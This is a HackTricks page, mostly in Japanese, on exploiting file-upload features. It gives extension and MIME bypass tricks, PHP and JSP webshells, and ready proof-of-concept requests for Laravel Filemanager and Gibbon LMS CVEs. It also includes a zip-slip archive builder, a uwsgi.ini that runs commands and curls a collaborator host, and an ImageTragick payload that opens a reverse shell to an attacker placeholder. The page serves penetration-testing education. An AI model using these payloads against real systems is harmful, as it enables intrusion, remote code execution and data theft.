ファイルアップロード

Reading time: 39 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ファイルアップロードの一般的な手法

その他の有用な拡張子:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ファイル拡張子チェックの回避

  1. 可能であれば、前述の拡張子をチェックしてください。大文字も試してみてください: pHp, .pHP5, .PhAr ...
  2. 実行用拡張子の前に有効な拡張子を追加してチェックすることを試してください(前述の拡張子も使用):
  • file.png.php
  • file.png.Php5
  1. 末尾に特殊文字を追加してみてください。Burpを使ってbruteforceで全てのasciiUnicode文字を試すことができます。(前述の拡張子も利用可能であることに注意してください)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. サーバー側の拡張子パーサを騙して保護を回避する方法を試してください。例えば拡張子を二重化したり、拡張子間にjunkデータnull bytesを挟む手法です。より良いペイロードを作るために前述の拡張子も使えます。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 前述のチェックにさらに別の拡張子層を追加してみてください:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 実行用の拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを期待してください。(.php を含む任意の拡張子のファイルが実行されるような Apache の誤設定を突くのに有用です)
  • ex: file.php.png
  1. WindowsでのNTFS alternate data stream (ADS) を利用する方法。禁止された拡張子の後にコロン ":" を挿入して許可された拡張子の前に置きます。その結果、サーバー上には禁止された拡張子の空ファイルが作成される場合があります(例: "file.asax:.jpg”)。そのファイルは後で short filename など別の手法で編集できることがあります。"::$data" パターンを使って非空のファイルを作成することも可能です。したがって、このパターンの後にドットを追加することがさらなる制限回避に有用な場合があります(例: "file.asp::$data.”)
  2. ファイル名の長さ制限を破ることを試してください。有効な拡張子が切り落とされ、悪意ある PHP が残る可能性があります。AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:

  • Using a valid image MIME and magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Naming the uploaded file with a PHP extension followed by a dot, e.g., shell.php..
  • The server strips the trailing dot and persists shell.php, which will execute if it’s placed in a web-served directory (default public storage like /storage/files/).

Minimal PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

次に、保存されたパスにアクセスします(Laravel + LFMで一般的):

GET /storage/files/0xdf.php?cmd=id

Content-Type、Magic Number、Compression & Resizing のバイパス

  • Content-Type チェックをバイパスするには、Content-Type headervalue を次のいずれかに設定します: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number チェックをバイパスするには、ファイルの先頭に 本物の画像のバイト列 を追加して file コマンドを混乱させる方法があります。あるいは、シェルを metadata に埋め込むこともできます:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ またはペイロードを画像に 直接挿入 することも可能です:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • もし画像に対して圧縮が行われる(例: PHP-GD のような標準ライブラリを使っている場合)と、上記のテクニックは有効でないことがあります。しかし、PLTE chunk を使った ここで定義されたテクニック を利用すれば、圧縮を生き残るテキストを挿入できます。
  • Github with the code
  • ウェブページが例えば imagecopyresizedimagecopyresampled といった PHP-GD 関数で画像を リサイズ している場合でも、IDAT chunk を利用した ここで定義されたテクニック により、圧縮を生き残るテキストを挿入できます。
  • Github with the code
  • PHP-GD の thumbnailImage を使った画像リサイズを生き残るペイロードを作る別の手法もありますが、tEXt chunk を使った ここで定義されたテクニック を使えば、圧縮を生き残るテキストを挿入できます。
  • Github with the code

その他の確認すべきトリック

  • 既にアップロードされたファイルを rename できる脆弱性を見つける(拡張子を変更するため)。
  • ファイルを実行するための Local File Inclusion 脆弱性を見つける。
  • 情報漏えいの可能性:
  1. 同じファイル同時に複数回アップロードする
  2. 既に存在する ファイル名フォルダ名 と同じ name でファイルをアップロードする
  3. ファイル名に ".", "..", または "…" を使ってアップロードする。例えば、Apache が Windows 上でアプリケーションがアップロードファイルを "/www/uploads/" に保存する場合、"." という filename は "/www/" ディレクトリに "uploads" というファイルを作成してしまうことがあります。
  4. NTFS(Windows)上で "…:.jpg" のような削除しにくいファイルをアップロードする。
  5. Windows でファイル名に |<>*?” のような無効な文字を含むファイルをアップロードする。
  6. CON, PRN, AUX, NUL, COM1–COM9, LPT1–LPT9 のような予約(禁止)名を使って Windows 上にファイルをアップロードする。
  • 実行可能ファイル(.exe)や、犠牲者が誤って開いたときにコードを実行する .html(あまり疑われない)をアップロードしてみる。

特殊な拡張子のトリック

PHP サーバにファイルをアップロードする場合は、.htaccess を使ったコード実行トリック を参照してください。
ASP サーバにファイルをアップロードする場合は、.config を使ったコード実行トリック を参照してください。

.phar ファイルは Java の .jar に似ており、php 向けで、php として実行したりスクリプトに include して php ファイルのように利用できます。

.inc 拡張子はしばしばファイルの import に使われる php ファイルに使われるため、場合によっては この拡張子が実行可能になることがあります。

Jetty RCE

Jetty サーバに XML ファイルをアップロードできる場合、新しい *.xml と *.war が自動的に処理されるため RCE を得られる 可能性があります。 画像に示されているように、XML ファイルを $JETTY_BASE/webapps/ にアップロードすればシェルが期待できます!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

この脆弱性の詳細な調査については、オリジナルのリサーチを参照してください: uWSGI RCE Exploitation

Remote Command Execution (RCE) 脆弱性は、.ini 設定ファイルを変更できる権限がある場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは、"magic" な変数、プレースホルダ、オペレータを取り込む特定の構文を利用します。特に @(filename) として使われる '@' オペレータはファイルの内容を include するために設計されています。uWSGI がサポートするさまざまな scheme の中で、"exec" scheme は特に強力で、プロセスの標準出力からデータを読み取ることができます。この機能は、.ini 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような不正利用に悪用され得ます。

以下は、有害な uwsgi.ini ファイルの例で、さまざまな scheme を示しています:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

ペイロードの実行は設定ファイルの解析時に発生します。設定を有効化して解析させるには、uWSGI プロセスを再起動する必要があり(クラッシュ後や Denial of Service attack により再起動する場合がある)、あるいはファイルを auto-reload に設定する必要があります。auto-reload 機能が有効な場合、変更を検知すると指定された間隔でファイルを再読み込みします。

uWSGI の設定ファイル解析が緩い性質であることを理解することが重要です。具体的には、ここで述べている payload はバイナリファイル(画像や PDF など)に挿入することができ、悪用の範囲がさらに広がります。

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • 必要なパラメータ:
  • img: data-URI-like string: [mime];[name],[base64] (サーバは type/name を無視し、末尾を base64 デコードします)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: 空でない任意の値が受け入れられます(例: 0000000001

Minimal PoC to write and read back a file:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

最小限のwebshellを配置してコマンドを実行する:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

注意:

  • ハンドラは ;, で分割した後に base64_decode($_POST["img"]) を実行し、拡張子/タイプを検証せずにバイトを $absolutePath . '/' . $_POST['path'] に書き込みます。
  • 結果として実行されるコードは web サービスのユーザとして動作します(例: XAMPP Apache on Windows)。

このバグに関する参考情報には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。

wget ファイルアップロード/SSRF トリック

場合によっては、サーバが wget を使って ファイルをダウンロード しており、あなたが URL指定できる 場合があります。このようなケースでは、ダウンロードされるファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、このチェックは回避可能です。
linux におけるファイル名の最大長は 255 ですが、wget はファイル名を 236 文字に切り詰めます。あなたは *"A"232+".php"+".gif" という名前のファイルをダウンロードできます。このファイル名は(この例では ".gif"有効な 拡張子であるため)チェックを回避しますが、wget はそのファイル名を *"A"232+".php"リネーム します。

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

NTFS junctions (Windows) を使ったアップロードディレクトリからの脱出

(この攻撃には対象のWindowsマシンへのローカルアクセスが必要です)Windows上でアップロードがユーザーごとのサブフォルダ(例: C:\Windows\Tasks\Uploads<id>\)に保存され、そのサブフォルダの作成/削除をあなたが制御できる場合、当該サブフォルダを機密性の高い場所(例:the webroot)を指すdirectory junctionに置き換えることができます。これにより以降のアップロードはターゲットパスに書き込まれ、ターゲットがserver‑side codeを解釈する場合にはコード実行を可能にします。

Example flow to redirect uploads into XAMPP webroot:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notes

  • mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

一部の upload/ingest ハンドラは、raw request body を user-controlled query parameters から構築した filesystem path に書き込みます。ハンドラが Content-Encoding: gzip をサポートし、destination path を正規化/検証しない場合、directory traversal と gzipped payload を組み合わせて web-served directory に任意のバイトを書き込み、RCE を得ることができます(例: Tomcat の webapps に JSP を置く)。

Generic exploitation flow:

  • Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
  • Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
  • Browse to the written file to trigger execution.

Illustrative request:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

次にトリガー:

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

注意事項

  • ターゲットのパスはインストールにより異なります(例: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ のようなスタックが存在します)。JSP を実行する任意の web-exposed フォルダが動作します。
  • Burp Suite’s Hackvertor extension は、ペイロードから正しい gzip ボディを生成できます。
  • これは純粋な pre-auth arbitrary file write → RCE パターンであり、multipart parsing に依存しません。

対策

  • アップロード先はサーバー側で決定すること。クライアントからのパス断片は信用しない。
  • 正規化 (canonicalize) して、解決されたパスが許可リストのベースディレクトリ内に留まることを強制する。
  • アップロードを実行不可のボリュームに保存し、書き込み可能なパスからのスクリプト実行を禁止する。

Tools

  • Upload Bypass は、Pentesters や Bug Hunters がファイルアップロード機構をテストするのを支援する強力なツールです。さまざまな bug bounty テクニックを活用して、脆弱性の特定と悪用を簡素化し、Web アプリケーションの徹底的な評価を可能にします。

Corrupting upload indices with snprintf quirks (historical)

単一ファイルのアップロードからマルチファイル配列を構築するために snprintf() 等を使う古いアップロードハンドラの一部は、_FILES 構造を偽造されるように騙されることがあります。snprintf() の動作における不整合や切り詰めにより、巧妙に作られた単一のアップロードがサーバー側で複数のインデックス付きファイルとして現れ、厳密な形状を仮定するロジック(例えばマルチファイルアップロードとして扱い安全でない分岐に入る)を混乱させます。今日ではニッチなケースですが、この「index corruption」パターンは CTF や古いコードベースで時折再出現します。

From File upload to other vulnerabilities

以下は、アップロードによって達成できることのトップ10リストです(出典: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

他のファイルタイプについては https://en.wikipedia.org/wiki/List_of_file_signatures を参照してください。

Zip/Tar File Automatically decompressed Upload

サーバー内部で解凍される ZIP をアップロードできる場合、次の 2 つのことが可能です:

他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンク先のファイルにアクセスできるようにする:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダに展開する

解凍時にディレクトリ内に予期せずファイルが作成されることは重大な問題です。最初はこの構成が悪意あるファイルのアップロードによる OS-level command execution を防ぐと思われるかもしれませんが、ZIP archive format の階層的な圧縮サポートと directory traversal の能力は悪用され得ます。これにより攻撃者はターゲットアプリケーションの decompression 機能を操作して制限を回避し、安全なアップロードディレクトリから脱出できます。

そのようなファイルを作成する自動化された exploit は evilarc on GitHub で入手できます。ユーティリティは次のように使用できます:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

さらに、symlink trick with evilarc はオプションです。もしターゲットが /flag.txt のようなファイルであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようになります。

Below is an example of Python code used to create a malicious zip file:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

file sprayingを目的とした圧縮の悪用

詳細についてはオリジナルの投稿を確認してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHP Shellの作成: PHP コードは $_REQUEST 変数経由で渡されたコマンドを実行するように書かれている。
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying と圧縮ファイルの作成: 複数のファイルを作成し、それらを含むzipアーカイブを組み立てる。
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Hex Editor または vi による変更: zip内のファイル名は vi や hex editor を使って変更され、ディレクトリを横断するために "xxA" を "../" に変更する。
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

バックエンドが PHP の ZipArchive を使って ZIP エントリを検証するが、抽出時にファイルシステムへ生の名前で書き込む場合、ファイル名フィールドに NUL (0x00) を挿入して許可されていない拡張子を紛れ込ませることができる。ZipArchive はエントリ名を C‑string として扱い、最初の NUL で切り捨てて扱う(検証時は NUL 以降を無視する)。一方、実際にファイルシステムへ書き込む際の処理は元の(NUL を含む)名前を用いるため、NUL の後ろの部分が無視され、結果的に意図した拡張子でファイルが作成される。

High-level flow:

  • 有効なコンテナファイル(例:有効なPDF)を用意し、magic/MIME が PDF のままになるようにストリーム内に小さな PHP スタブを埋め込む。
  • それを shell.php..pdf のように名付け、zip にしてから ZIP のローカルヘッダとセントラルディレクトリのファイル名を hex‑edit で、.php の直後の最初の .0x00 に置き換え、結果として shell.php\x00.pdf にする。
  • ZipArchive に依存するバリデータは shell.php .pdf を“見て”許可してしまい、抽出処理は shell.php をディスクに書き込む。アップロードフォルダが実行可能であれば RCE を引き起こす。

最小 PoC 手順:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notes

  • Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present.
  • The payload file must still pass server‑side magic/MIME sniffing. Embedding the PHP in a PDF stream keeps the header valid.
  • Works where the enum/validation path and the extraction/write path disagree on string handling.

Stacked/concatenated ZIPs (parser disagreement)

2つの有効な ZIP ファイルを連結すると、異なるパーサがそれぞれ異なる EOCD レコードに注目するような blob が生成される。多くのツールは最後の End Of Central Directory (EOCD) を参照する一方で、いくつかのライブラリ(例: 特定のワークフローでの ZipArchive)は最初に見つけたアーカイブを解析する場合がある。もし検証が最初のアーカイブを列挙し、抽出が最後の EOCD を尊重する別のツールを使うと、無害なアーカイブがチェックを通過し、悪意ある方が抽出されてしまう可能性がある。

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

悪用パターン

  • 無害なアーカイブ(許可された種類、例: PDF)と、ブロックされた拡張子(例: shell.php)を含む別のアーカイブを作成する。
  • それらを連結する: cat benign.zip evil.zip > combined.zip.
  • サーバーがあるパーサーで検証(benign.zip を検出)し、別のパーサーで抽出(evil.zip を処理)する場合、ブロックされたファイルが抽出パスに置かれる。

ImageTragic

この内容を画像拡張子でアップロードして脆弱性を悪用する (ImageMagick , 7.0.1-1)exploit を参照)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGへのPHPシェル埋め込み

PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理を効果的に回避できる場合があります。PHP-GDのimagecopyresizedimagecopyresampledは、それぞれ画像のリサイズや再サンプリングに一般的に使われるため、この文脈で特に関係します。埋め込まれたPHPシェルがこれらの処理の影響を受けずに残ることは、いくつかのユースケースで大きな利点です。

この手法の方法論や適用可能性を含む詳細な検討は、以下の記事にあります: "Encoding Web Shells in PNG IDAT chunks". このリソースはプロセスとその影響を包括的に理解するのに役立ちます。

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot filesはサイバーセキュリティにおいて特殊なツールであり、複数のファイル形式に同時に正しく存在できるカメレオンのように振る舞います。興味深い例としてGIFARがあり、GIFとRARアーカイブの両方として機能するハイブリッドです。これらのファイルはこの組み合わせに限らず、GIFとJS、PPTとJSのような組み合わせも可能です。

Polyglotファイルの主な有用性は、ファイルタイプに基づいてスクリーニングを行うセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険なフォーマット(例: JS、PHP、Phar)によるリスクを軽減するために、JPEG、GIF、DOCなど特定のファイルタイプのみをアップロード可能にすることが一般的です。しかし、polyglotは複数のファイルタイプの構造的要件を満たすことで、これらの制限を巧妙にすり抜けることができます。

ただし、polyglotには制約もあります。たとえば、PHARファイル(PHp ARchive)とJPEGの両方を同時に備えたpolyglotであっても、アップロードの可否はプラットフォームのファイル拡張子ポリシーに依存する場合があります。システムが許可される拡張子に厳格である場合、単に構造的に二重の性質を持っているだけではアップロード成功を保証できないことがあります。

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDFのように扱われる有効なJSONのアップロード

有効なJSONファイルをアップロードし、PDFを偽装してファイルタイプ検出を回避する方法(テクニックは this blog post による):

  • mmmagic library: %PDF マジックバイトが最初の1024バイト以内にあれば有効とみなされる(例はポスト参照)
  • pdflib library: JSONのフィールド内に偽のPDFフォーマットを追加してライブラリにPDFだと判断させる(例はポスト参照)
  • file binary: ファイルから最大1048576バイトを読み取ることができる。これより大きなJSONを作成してcontentをjsonとして解析できないようにし、そのJSONの中に本物のPDFの先頭部分を入れれば、fileはそれをPDFだと判断する

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする